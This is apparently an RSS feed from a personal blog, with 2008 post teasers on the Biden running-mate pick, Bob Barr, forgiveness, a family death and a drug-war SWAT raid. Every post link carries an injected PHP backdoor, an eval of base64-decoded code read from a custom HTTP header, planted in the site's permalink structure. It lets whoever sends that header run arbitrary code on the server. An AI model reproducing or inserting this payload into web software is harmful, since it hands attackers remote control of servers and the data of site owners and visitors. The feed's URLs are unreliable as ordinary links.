http://accela.org/blog Free People. Real Choices. Anti-War. Pro-Beer. Mon, 16 Feb 2009 14:54:34 +0000 http://backend.userland.com/rss092 en Well, the suspense is over, the text messages have been sent, and now Joe Biden has been announced as Barak's running mate. Whoo hoo. So is Joe just another great guy, ready to be the other half of "Yes we can"? Do we really care? "Yes ... http://accela.org/blog/2008/08/23/ah-joe-we-hardly-know-ya/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Wow, what a bonus presidential election year. Usually there are only 2 candidates I won't vote for, but this year we have the Libertarian Party offering up Bob Barr. My God folks, could you have picked up a worse candidate? What's the matter, wasn't Kenny G ... http://accela.org/blog/2008/08/18/now-there-are-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ..and the devestatingly handsome.  congrats on another recognition. http://accela.org/blog/2008/08/12/clint-you-are-all-three-the-good-the-bad/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ What beautiful words, "I forgive you." No matter who says it. No matter if it is said out loud. No matter if you say it to yourself. I forgive you. What a transformational statement that probably holds the future of the relationship between people. When I ... http://accela.org/blog/2008/08/10/the-power-of-forgiveness/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The last sibling in my Dad's family died last week. Aunt Esther was about 102 (dates somewhat uncertain, but who's counting after 100?) and was doing damn well for a gal in her shape, er..., at her age. My Dad was one of 9 brothers and sisters that ... http://accela.org/blog/2008/08/05/rip-aunt-esther-1906-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A couple of more victims of the madness we call our drug war. SWAT Team members storm the house of the mayor of Berwyn Heights, MD trying to ascertain the owner of a package of pot that was delivered on the porch.  In the moments after breaking down the ... http://accela.org/blog/2008/08/05/oops-did-you-really-like-those-dogs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/